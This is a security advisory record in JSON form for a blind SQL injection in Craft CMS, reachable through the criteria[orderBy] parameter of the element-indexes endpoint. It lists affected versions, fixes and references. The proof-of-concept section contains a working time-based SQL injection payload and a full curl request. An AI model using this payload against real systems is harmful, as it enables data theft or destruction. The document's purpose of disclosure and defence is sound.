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7.5 KiB
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1 line
7.5 KiB
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{"schema_version":"1.9.0","id":"GHSA-2453-mppf-46cj","published":"2026-02-09T20:35:41Z","modified":"2026-07-08T07:27:37.160542994Z","aliases":["CVE-2026-25495"],"related":["CVE-2026-32272"],"summary":"Craft CMS Vulnerable to SQL Injection in Element Indexes via `criteria[orderBy]`","details":"## Summary\n\nThe `element-indexes/get-elements` endpoint is vulnerable to **SQL Injection** via the `criteria[orderBy]` parameter (JSON body). The application fails to sanitize this input before using it in the database query.\nAn attacker with **Control Panel access** can inject arbitrary SQL into the `ORDER BY` clause by omitting `viewState[order]` (or setting both to the same payload).\n\n> [!NOTE]\n> The `ORDER BY` clause executes per row. `SLEEP(1)` on 10 rows = 10s delay.\n\n---\n## PoC\n### Required Permissions\n\n- Access to the Control Panel\n\n### Steps to reproduce\n1. Log in to the control panel\n2. Navigate to any element index (e.g., **Users** `/admin/users`, **Entries**, **Assets**, etc.)\n3. Intercept the `POST` request to `/index.php?p=admin/actions/element-indexes/get-elements`\n4. Modify the JSON body to the following:\n```json\n{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\User\",\"source\":\"*\",\"baseCriteria\":{\"siteId\":1},\"criteria\":{\"limit\":100,\"orderBy\": \"(elements.id) DESC, (SELECT SLEEP(5)) --\"},\"viewState\":{\"static\":false}}\n```\n5. Send the request\n6. Observe a delay in the response (delay = rows × sleep time)\n\nAlternatively, you can use the following `curl` (bash syntax) command (replace cookie, CSRF token, and target domain as needed):\n```bash\ncurl --path-as-is -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF-TOKEN>' -H $'Content-Length: 208' -b $'<Cookie>' --data-binary $'{\\\"context\\\":\\\"index\\\",\\\"elementType\\\":\\\"craft\\\\\\\\elements\\\\\\\\User\\\",\\\"source\\\":\\\"*\\\",\\\"baseCriteria\\\":{\\\"siteId\\\":1},\\\"criteria\\\":{\\\"limit\\\":100,\\\"orderBy\\\": \\\"(elements.id) DESC, (SELECT SLEEP(0.2)) --\\\"},\\\"viewState\\\":{\\\"static\\\":false}}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fget-elements'\n```\n\n### Impact\n\nWith this Blind SQLi, an attacker can:\n- **Exfiltrate data** character-by-character.\n- **Modify or destroy data** (drop tables, update records, alter schema).\n\n### Root Cause\nThe `orderBy` parameter is not validated or sanitized. Wrapping the payload in parentheses (e.g., `(elements.id)`) bypasses internal quoting mechanisms.","affected":[{"package":{"name":"craftcms/cms","ecosystem":"Packagist","purl":"pkg:composer/craftcms/cms"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.0.0-RC1"},{"fixed":"5.8.22"}]}],"versions":["5.0.0","5.0.0-RC1","5.0.1","5.0.2","5.0.3","5.0.4","5.0.5","5.0.6","5.1.0","5.1.1","5.1.10","5.1.2","5.1.3","5.1.4","5.1.5","5.1.6","5.1.7","5.1.8","5.1.9","5.2.0","5.2.0-beta.1","5.2.0-beta.2","5.2.0-beta.3","5.2.0-beta.4","5.2.0-beta.5","5.2.0-beta.6","5.2.1","5.2.10","5.2.2","5.2.3","5.2.4","5.2.4.1","5.2.5","5.2.6","5.2.7","5.2.8","5.2.9","5.3.0","5.3.0-beta.1","5.3.0-beta.2","5.3.0.1","5.3.0.2","5.3.0.3","5.3.1","5.3.2","5.3.3","5.3.4","5.3.5","5.3.6","5.4.0","5.4.0.1","5.4.1","5.4.10","5.4.10.1","5.4.2","5.4.3","5.4.4","5.4.5","5.4.5.1","5.4.6","5.4.7","5.4.7.1","5.4.8","5.4.9","5.5.0","5.5.0.1","5.5.1","5.5.1.1","5.5.10","5.5.2","5.5.3","5.5.4","5.5.5","5.5.6","5.5.6.1","5.5.7","5.5.8","5.5.9","5.6.0","5.6.0.1","5.6.0.2","5.6.1","5.6.10","5.6.10.1","5.6.10.2","5.6.11","5.6.12","5.6.13","5.6.14","5.6.15","5.6.16","5.6.17","5.6.2","5.6.3","5.6.4","5.6.5","5.6.5.1","5.6.6","5.6.7","5.6.8","5.6.9","5.6.9.1","5.7.0","5.7.0-beta.1","5.7.0-beta.2","5.7.1","5.7.1.1","5.7.10","5.7.11","5.7.2","5.7.3","5.7.4","5.7.5","5.7.6","5.7.7","5.7.8","5.7.8.1","5.7.8.2","5.7.9","5.8.0","5.8.1","5.8.10","5.8.11","5.8.12","5.8.13","5.8.13.1","5.8.13.2","5.8.14","5.8.15","5.8.16","5.8.17","5.8.18","5.8.19","5.8.2","5.8.20","5.8.21","5.8.3","5.8.4","5.8.5","5.8.6","5.8.7","5.8.8","5.8.9"],"database_specific":{"last_known_affected_version_range":"<= 5.8.21","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-2453-mppf-46cj/GHSA-2453-mppf-46cj.json"}},{"package":{"name":"craftcms/cms","ecosystem":"Packagist","purl":"pkg:composer/craftcms/cms"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0-RC1"},{"fixed":"4.16.18"}]}],"versions":["4.0.0","4.0.0-RC1","4.0.0-RC2","4.0.0-RC3","4.0.0.1","4.0.1","4.0.2","4.0.3","4.0.4","4.0.5","4.0.5.1","4.0.5.2","4.0.6","4.1.0","4.1.0.1","4.1.0.2","4.1.1","4.1.2","4.1.3","4.1.4","4.1.4.1","4.10.0","4.10.0-beta.1","4.10.0-beta.2","4.10.1","4.10.2","4.10.3","4.10.4","4.10.5","4.10.6","4.10.7","4.10.8","4.11.0","4.11.0.1","4.11.0.2","4.11.1","4.11.2","4.11.3","4.11.4","4.11.5","4.12.0","4.12.1","4.12.2","4.12.3","4.12.4","4.12.4.1","4.12.5","4.12.6","4.12.6.1","4.12.7","4.12.8","4.12.9","4.13.0","4.13.1","4.13.1.1","4.13.10","4.13.2","4.13.3","4.13.4","4.13.5","4.13.6","4.13.7","4.13.8","4.13.9","4.14.0","4.14.0.1","4.14.0.2","4.14.1","4.14.10","4.14.11","4.14.11.1","4.14.12","4.14.13","4.14.14","4.14.15","4.14.2","4.14.3","4.14.4","4.14.5","4.14.6","4.14.7","4.14.8","4.14.8.1","4.14.9","4.15.0","4.15.0-beta.1","4.15.0-beta.2","4.15.0.1","4.15.0.2","4.15.1","4.15.2","4.15.3","4.15.4","4.15.5","4.15.6","4.15.6.1","4.15.6.2","4.15.7","4.16.0","4.16.1","4.16.10","4.16.11","4.16.12","4.16.13","4.16.14","4.16.15","4.16.16","4.16.17","4.16.2","4.16.3","4.16.4","4.16.5","4.16.6","4.16.6.1","4.16.7","4.16.8","4.16.9","4.16.9.1","4.2.0","4.2.0.1","4.2.0.2","4.2.1","4.2.1.1","4.2.2","4.2.3","4.2.4","4.2.5","4.2.5.1","4.2.5.2","4.2.6","4.2.7","4.2.8","4.3.0","4.3.1","4.3.10","4.3.11","4.3.2","4.3.2.1","4.3.3","4.3.4","4.3.5","4.3.6","4.3.6.1","4.3.7","4.3.7.1","4.3.8","4.3.8.1","4.3.8.2","4.3.9","4.4.0","4.4.0-beta.1","4.4.0-beta.2","4.4.0-beta.3","4.4.0-beta.4","4.4.0-beta.5","4.4.0-beta.6","4.4.0-beta.7","4.4.1","4.4.10","4.4.10.1","4.4.11","4.4.12","4.4.13","4.4.14","4.4.15","4.4.16","4.4.16.1","4.4.17","4.4.2","4.4.3","4.4.4","4.4.5","4.4.6","4.4.6.1","4.4.7","4.4.7.1","4.4.8","4.4.9","4.5.0","4.5.0-beta.1","4.5.0-beta.2","4.5.1","4.5.10","4.5.11","4.5.11.1","4.5.12","4.5.13","4.5.14","4.5.15","4.5.2","4.5.3","4.5.4","4.5.5","4.5.6","4.5.6.1","4.5.7","4.5.8","4.5.9","4.6.0","4.6.0-RC1","4.6.1","4.7.0","4.7.1","4.7.2","4.7.2.1","4.7.3","4.7.4","4.8.0","4.8.1","4.8.10","4.8.11","4.8.2","4.8.3","4.8.4","4.8.5","4.8.6","4.8.7","4.8.8","4.8.9","4.9.0","4.9.1","4.9.2","4.9.3","4.9.4","4.9.5","4.9.6","4.9.7"],"database_specific":{"last_known_affected_version_range":"<= 4.16.17","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-2453-mppf-46cj/GHSA-2453-mppf-46cj.json"}}],"references":[{"type":"WEB","url":"https://github.com/craftcms/cms/security/advisories/GHSA-2453-mppf-46cj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25495"},{"type":"WEB","url":"https://github.com/craftcms/cms/commit/96c60d775c644ff0a0276da52fe29e11d4cd38d2"},{"type":"PACKAGE","url":"https://github.com/craftcms/cms"},{"type":"WEB","url":"https://github.com/craftcms/cms/releases/tag/4.16.18"},{"type":"WEB","url":"https://github.com/craftcms/cms/releases/tag/5.8.22"}],"database_specific":{"cwe_ids":["CWE-89"],"github_reviewed":true,"github_reviewed_at":"2026-02-09T20:35:41Z","nvd_published_at":"2026-02-09T20:15:58Z","severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]} |